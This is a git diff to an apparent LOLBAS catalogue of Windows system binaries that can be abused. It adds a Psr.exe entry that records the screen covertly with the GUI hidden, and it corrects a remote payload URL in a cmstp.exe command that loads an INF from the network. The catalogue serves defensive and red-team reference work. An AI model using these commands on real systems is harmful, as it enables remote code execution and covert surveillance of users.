diff --git a/Contribute.md b/Contribute.md
index 4e64756..14ca7a0 100644
--- a/Contribute.md
+++ b/Contribute.md
@@ -4,7 +4,7 @@ to send me a tweet and I will add the contribution for you.
 
 ## Binary.exe
 
-* Functions: Execute, Download, Copy, Read ADS, Write ADS, UACBypass, Search, Compile, Credentials
+* Functions: Execute, Download, Copy, Read ADS, Write ADS, UACBypass, Search, Compile, Credentials, Surveillance
 
 ```
 Example
diff --git a/LOLBins.md b/LOLBins.md
index a64fb69..7e2b37b 100644
--- a/LOLBins.md
+++ b/LOLBins.md
@@ -37,6 +37,7 @@ If you are missing from the acknowledgement, please let me know (I did not forge
 [Powershell.exe](OSBinaries/Powershell.md)     
 [Presentationhost.exe](OSBinaries/Presentationhost.md)     
 [Print.exe](OSBinaries/Print.md)     
+[Psr.exe](OSBinaries/Psr.md)     
 [Qprocess.exe](OSBinaries/Qprocess.md)     
 [Reg.exe](OSBinaries/Reg.md)    
 [Regedit.exe](OSBinaries/Regedit.md)    
diff --git a/OSBinaries/Cmstp.md b/OSBinaries/Cmstp.md
index 2cafd69..33b8511 100644
--- a/OSBinaries/Cmstp.md
+++ b/OSBinaries/Cmstp.md
@@ -5,7 +5,7 @@
 ```
 cmstp.exe /ni /s c:\cmstp\CorpVPN.inf     
 
-cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Cmstp.inf     
+cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf     
 ```
 
 Acknowledgements:
@@ -13,8 +13,8 @@ Acknowledgements:
 * Nick Tyrer - @NickTyrer
 
 Code sample:
-* [Cmstp.inf](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Cmstp.inf)    
-* [Cmstp_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Cmstp_calc.sct)
+* [Cmstp.inf](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf)    
+* [Cmstp_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp_calc.sct)
 
 Resources:
 * https://twitter.com/NickTyrer/status/958450014111633408    
diff --git a/OSBinaries/Psr.md b/OSBinaries/Psr.md
new file mode 100644
index 0000000..af8c129
--- /dev/null
+++ b/OSBinaries/Psr.md
@@ -0,0 +1,30 @@
+## Psr.exe
+
+* Functions: Surveillance
+
+```
+psr.exe /start /gui 0 /output c:\users\user\out.zip    
+
+psr.exe /stop    
+```
+
+Acknowledgements:
+* 
+
+Code sample:
+* 
+
+Resources:
+* https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf
+
+Full path:
+```
+C:\Windows\System32\Psr.exe
+C:\Windows\SysWOW64\Psr.exe
+```
+
+Notes:
+It does not log keystrokes. Only screenshots when something is clicked.
+
+
+ 
\ No newline at end of file